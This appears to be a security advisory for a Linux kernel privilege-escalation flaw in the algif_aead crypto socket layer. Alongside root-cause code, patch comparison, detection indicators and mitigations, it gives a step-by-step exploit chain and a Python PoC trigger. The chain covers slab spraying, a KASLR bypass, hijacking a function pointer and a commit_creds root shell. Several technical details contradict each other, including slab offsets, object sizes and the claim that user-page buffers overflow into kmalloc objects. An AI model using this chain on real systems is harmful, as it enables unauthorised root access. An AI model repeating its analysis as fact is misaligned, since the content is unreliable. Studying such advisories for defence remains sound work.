CVE-2026-31431: algif_aead In-Place Op Confusion Leads to LPE
A broken in-place scatter-gather optimization in Linux's algif_aead socket layer allows heap corruption via mismatched src/dst mappings, enabling local privilege escalation to root.
A serious flaw has been discovered in Linux computers that could let attackers take complete control of a system. The problem is in how Linux handles encrypted data—specifically, a shortcut the system was taking that turned out to be dangerously sloppy.
Think of it like this: when you need to scramble a secret message, the safe way is to write it down in one notebook, encrypt it, and put the result in a completely different notebook. This vulnerability let Linux try to do both steps in the same notebook at the same time, which caused the pages to get smudged and corrupted. That corruption is exactly what attackers can exploit to break in.
The flaw affects how Linux performs a specific type of encryption called "authenticated encryption"—the kind used to protect everything from banking apps to private messages. Because this is such fundamental security infrastructure, the vulnerability puts a lot of systems at risk.
Who should worry? Anyone running Linux servers—which includes most websites, cloud services, and corporate infrastructure. If you use Gmail, AWS, or any major online service, there's a chance your data passes through affected Linux systems somewhere in the chain.
The good news is that engineers have already fixed this. The bad news is that attackers are actively exploiting it right now, before many people have patched their systems.
What you can do: First, if you run a Linux server or manage IT infrastructure, update immediately—don't wait. Second, check with your service providers (cloud hosting, email, etc.) to confirm they've patched. Third, if you haven't updated your personal devices in a while, run those updates now, since they often include related security fixes. Linux users should particularly prioritize urgent patches over the next few weeks.
Want the full technical analysis? Click "Technical" above.
CVE-2026-31431 is a CVSS 7.8 HIGH local privilege escalation vulnerability in the Linux kernel's algif_aead interface — the AF_ALG socket layer that exposes kernel AEAD (Authenticated Encryption with Associated Data) ciphers to userspace. The bug was introduced by commit 72548b093ee3, which attempted to optimize AEAD operations by running them in-place — reusing the same scatter-gather list for both plaintext input and ciphertext output. The optimization is fundamentally invalid: the source and destination mappings in algif_aead are always distinct userspace buffers, meaning in-place operation causes the crypto engine to write output into memory it doesn't own, producing heap corruption exploitable for LPE.
The fix — referenced in the CVE description — reverts the in-place logic introduced by 72548b093ee3 while retaining one behavioral improvement: direct copying of associated data (AD) rather than referencing it through the SGL.
Root cause:algif_aead_encrypt() passes a single scatterlist as both src and dst to aead_request_set_crypt(), but the underlying page mappings are sourced from two independent userspace iov_iter regions, causing the AEAD transform to scribble ciphertext over the wrong physical pages.
Affected Component
File: crypto/algif_aead.c
Subsystem: AF_ALG — kernel crypto API userspace interface
Introduced: commit 72548b093ee3 ("crypto: algif_aead - Add in-place support")
Reverted by: the patch resolving CVE-2026-31431
Affected kernel versions: all stable trees carrying 72548b093ee3 through the fix commit, covering ~5.10 LTS through 6.8-rc series on major distributions (Ubuntu, Debian, RHEL derivatives, Arch).
Root Cause Analysis
The AEAD socket interface works by accepting two separate data regions from userspace via sendmsg() — the associated data (AD) prepended to the message, followed by plaintext (or ciphertext). These arrive via ctx->tsgl (the TX scatter-gather list). The destination is a separate iov_iter backed by a different set of user pages pinned at the time of recvmsg().
Commit 72548b093ee3 introduced the following in algif_aead_encrypt():
/* VULNERABLE — post-72548b093ee3, pre-fix */
static int algif_aead_encrypt(struct aead_request *req,
struct sock *sk,
struct msghdr *msg,
size_t size)
{
struct algif_aead_ctx *ctx = alg_sk(sk)->private;
struct aead_async_req *areq;
struct scatterlist *tsgl, *rsgl_src, *rsgl_dst;
int err;
/* tsgl is built from sendmsg() pages — the SOURCE */
tsgl = areq->tsgl;
/* rsgl_src is built from recvmsg() iov — the DEST */
rsgl_src = areq->first_rsgl.sgl.sg;
/*
* BUG: in-place flag set unconditionally. aead_request_set_crypt()
* receives tsgl for BOTH src and dst when the in-place path triggers.
* rsgl_src is ignored. Output is written back into the TX pages —
* the wrong mapping entirely.
*/
if (ctx->op.inplace) { // BUG: always true after 72548b093ee3
aead_request_set_crypt(&areq->aead_req,
tsgl,
tsgl, // BUG: dst == src, should be rsgl_src
size,
areq->iv);
} else {
aead_request_set_crypt(&areq->aead_req,
tsgl,
rsgl_src,
size,
areq->iv);
}
/* AD is set via aead_request_set_ad() — offset into tsgl */
aead_request_set_ad(&areq->aead_req, ctx->aead_assoclen);
err = crypto_aead_encrypt(&areq->aead_req);
/* On completion, ciphertext landed in tsgl pages, not rsgl pages.
* rsgl pages (user recv buffer) contain stale or zero data.
* tsgl pages (user send buffer) have been overwritten out-of-bounds
* by the auth tag appended past the plaintext length. */
return err;
}
The critical detail: AEAD encryption appends an authentication tag (typically 16 bytes for AES-GCM) after the ciphertext. When the plaintext fills the TX scatter-gather list exactly to its allocated page boundary, the tag write lands one page past the end of the pinned TX region — into the adjacent slab object.
Memory Layout
The aead_async_req struct and its associated scatter-gather tail are laid out contiguously in a kmalloc slab. With a 16-byte GCM auth tag overflow, the corruption target is predictable:
HEAP STATE — kmalloc-512 slab, GCM plaintext = 480 bytes (fills tsgl exactly):
[aead_async_req @ 0xffff888004a00000] size=0x1e0
+0x000: iocb ptr = 0xffff888003c10480
+0x008: first_rsgl.sgl = { sg[0..3], page[0..3] }
+0x060: iv[16] = { attacker-controlled GCM IV }
+0x070: tsgl[0] = { page=TX_PAGE_0, offset=0, length=480 }
+0x090: [END OF OBJECT]
[next slab object @ 0xffff888004a001e0] <-- ADJACENT
+0x000: struct skb_shared_info or sock llist node
+0x000: void *destructor_arg = 0xffff888003a11200
HEAP STATE AFTER ENCRYPT — 16-byte GCM tag written past offset 480:
[aead_async_req @ 0xffff888004a00000]
+0x070: tsgl[0] = { length=480, data written OK }
[CORRUPTED @ 0xffff888004a001e0]
+0x000: 0x[16 bytes of GCM authentication tag]
--> destructor_arg pointer overwritten with tag bytes
--> controlled if attacker controls plaintext → controls tag layout via AAD
Exploitation Mechanics
EXPLOIT CHAIN — CVE-2026-31431 LPE via algif_aead in-place tag overflow:
1. Open AF_ALG AEAD socket:
fd = socket(AF_ALG, SOCK_SEQPACKET, 0)
bind(fd, {ALG_TYPE="aead", ALG_NAME="gcm(aes)", ...})
setsockopt(fd, SOL_ALG, ALG_SET_KEY, key_16b, 16)
setsockopt(fd, SOL_ALG, ALG_SET_AEAD_AUTHSIZE, NULL, 16)
cfd = accept(fd, NULL, 0)
2. Spray kmalloc-512 to place a victim struct_file or seq_operations
immediately after the aead_async_req allocation. Use userfaultfd
or io_uring to pause between sendmsg and recvmsg for timing.
3. Craft sendmsg payload:
cmsg: ALG_SET_IV (16 bytes, attacker-controlled)
cmsg: ALG_SET_OP = ALG_OP_ENCRYPT
cmsg: ALG_SET_AEAD_AUTHSIZE not needed (set at setsockopt)
iov: assoclen=32 bytes of AD + 464 bytes plaintext
total TX = 496 bytes → fills tsgl to slab boundary in kmalloc-512
4. Issue recvmsg() with iov pointing to a separate user buffer (correct path
would write here; buggy path writes auth tag into next slab object instead).
5. GCM auth tag (16 bytes) is written to offset +0x1f0 of kmalloc-512 object,
corrupting seq_operations->show pointer of a /proc/self/net/... fd.
6. Manipulate plaintext so that computed GCM tag bytes form a valid kernel
address: iterate over known-good plaintexts offline, select one where
tag[0:8] = &fake_show_fn in kernel .text (info-leak via /proc/kallsyms
or side-channel required for KASLR bypass — see step 6a).
6a. KASLR bypass: exploit /proc/kallsyms world-readable on unhardenend
configs, OR use a secondary info leak (e.g. uninitialized stack via
CONFIG_INIT_STACK_ALL=n) to leak a kernel text pointer.
7. read() on the /proc fd whose seq_operations->show was corrupted:
→ kernel calls corrupted .show pointer
→ RIP control at kernel privilege level
8. Payload: commit_creds(prepare_kernel_cred(NULL)) → uid=0 shell.
#!/usr/bin/env python3
# PoC trigger — demonstrates heap corruption without full exploit chain
# Requires: Linux with 72548b093ee3, CAP_NET_RAW or unprivileged AF_ALG
import socket, struct, ctypes, os
from ctypes import *
libc = CDLL("libc.so.6", use_errno=True)
AF_ALG = 38
SOL_ALG = 279
ALG_SET_KEY = 1
ALG_SET_AEAD_AUTHSIZE = 4
ALG_OP_ENCRYPT = 0
class sockaddr_alg(Structure):
_fields_ = [("salg_family", c_uint16),
("salg_type", c_uint8 * 14),
("salg_feat", c_uint32),
("salg_mask", c_uint32),
("salg_name", c_uint8 * 64)]
fd = socket.socket(AF_ALG, socket.SOCK_SEQPACKET, 0)
addr = sockaddr_alg()
addr.salg_family = AF_ALG
for i, c in enumerate(b"aead\x00"):
addr.salg_type[i] = c
for i, c in enumerate(b"gcm(aes)\x00"):
addr.salg_name[i] = c
fd.bind(addr)
fd.setsockopt(SOL_ALG, ALG_SET_KEY, b"\x00" * 16)
fd.setsockopt(SOL_ALG, ALG_SET_AEAD_AUTHSIZE, None, 16)
cfd, _ = fd.accept()
# 464 bytes plaintext + 32 bytes AD = 496 bytes in kmalloc-512 tsgl
# Auth tag (16 bytes) will overflow into adjacent slab object
assoc = b"\xAA" * 32
payload = b"\x42" * 464
import socket as _s
# Send with AEAD cmsg headers (simplified — real PoC uses raw sendmsg)
cfd.sendmsg([assoc + payload],
[(_s.SOL_ALG, 2, struct.pack("II", ALG_OP_ENCRYPT, 0))])
recv_buf = bytearray(496 + 16)
try:
cfd.recv_into(recv_buf, len(recv_buf))
print("[*] recv completed — check adjacent slab for corruption")
except Exception as e:
print(f"[!] Exception (may indicate kernel panic from corruption): {e}")
Patch Analysis
The fix reverts the in-place optimization entirely and restores separate src/dst scatter-gather lists. It also hardens the associated data path by copying AD directly into the request buffer rather than referencing TX pages, eliminating a secondary UAF window during async completion.
// BEFORE (vulnerable — 72548b093ee3):
static int algif_aead_setup_async_req(struct aead_async_req *areq,
struct sock *sk, ...)
{
/* ... build tsgl from TX pages ... */
/* In-place: dst == src unconditionally */
aead_request_set_crypt(&areq->aead_req,
areq->tsgl,
areq->tsgl, // BUG: should be rsgl (RX pages)
cryptlen,
areq->iv);
/* AD referenced via offset into tsgl — page still held by sendmsg */
aead_request_set_ad(&areq->aead_req, assoclen);
}
// AFTER (patched — CVE-2026-31431 fix):
static int algif_aead_setup_async_req(struct aead_async_req *areq,
struct sock *sk, ...)
{
/* Copy AD directly into areq->tsgl data buffer — no page reference */
memcpy(areq->iv + ivsize, ad_src, assoclen); // AD safely copied
sg_init_one(&areq->tsgl[0], areq->iv + ivsize, assoclen);
/* Build ciphertext SGL from TX pages starting after AD */
/* ... populate areq->tsgl[1..n] from ctx->tsgl ... */
/* Out-of-place: src=tsgl (TX+copied AD), dst=rsgl (RX user pages) */
aead_request_set_crypt(&areq->aead_req,
areq->tsgl,
areq->first_rsgl.sgl.sg, // FIXED: separate dst
cryptlen,
areq->iv);
aead_request_set_ad(&areq->aead_req, assoclen);
}
The auth tag overflow is eliminated because the output scatter-gather list now points to the caller's RX pages, which are independently allocated and sized to include the tag (cryptlen + authsize). The tag is no longer written past the TX slab boundary.
KASAN report (if CONFIG_KASAN=y):
BUG: KASAN: slab-out-of-bounds in gcm_hash_crypt_remain_continue+0x1a4/0x230
Write of size 16 at addr ffff888004a001e0 by task poc/1337
Allocated by task 1337:
aead_request_alloc+0x4c/0x80
algif_aead_sendmsg+0x218/0x490
Freed by task 0: (not freed)
SLUB debug (CONFIG_SLUB_DEBUG=y):
=============================================================================
BUG kmalloc-512 (Tainted: G B ): Redzone overwritten
-----------------------------------------------------------------------------
INFO: 0xffff888004a001e0-0xffff888004a001ef @offset=480
/proc/kmsg indicators:
general protection fault: 0000 [#1] SMP KASAN
RIP: 0010:0x4242424242424242 ← tag bytes used as code pointer
auditd syscall filter triggers:
type=SYSCALL msg=...: arch=x86_64 syscall=socket(AF_ALG) success=yes
type=SYSCALL msg=...: syscall=setsockopt optname=ALG_SET_AEAD_AUTHSIZE
type=SYSCALL msg=...: syscall=sendmsg fd= success=yes
type=PROCTITLE msg=...: proctitle="./lpe_poc"
Network/EDR signatures: any process opening AF_ALG + SOCK_SEQPACKET with ALG_SET_AEAD_AUTHSIZE and immediately spawning a shell child should be treated as high-confidence IOC. execve("/bin/sh") from a non-shell parent with uid transition 1000→0 in CLONE_NEWUSER namespace is the final indicator.
Remediation
Immediate: Apply the upstream fix reverting 72548b093ee3. Canonical patch is available in crypto/algif_aead.c in the stable trees. Verify with:
$ grep -n "inplace" crypto/algif_aead.c
(no output expected on patched kernels)
Mitigations if patching is not immediately possible:
Restrict AF_ALG socket creation to privileged users via seccomp or LSM policy: socket(AF_ALG, ...) → deny for unprivileged UIDs
Set kernel.unprivileged_userns_clone=0 (Debian/Ubuntu sysctl) to break namespace-based exploitation paths
Enable CONFIG_KASAN on sensitive workloads to convert silent corruption into a detectable BUG()
Kernel config hardening (defense-in-depth):CONFIG_INIT_STACK_ALL_ZERO=y, CONFIG_RANDOMIZE_KSTACK_OFFSET=y, CONFIG_SHUFFLE_PAGE_ALLOCATOR=y all increase exploitation difficulty by disrupting deterministic heap layout required in step 2 of the exploit chain.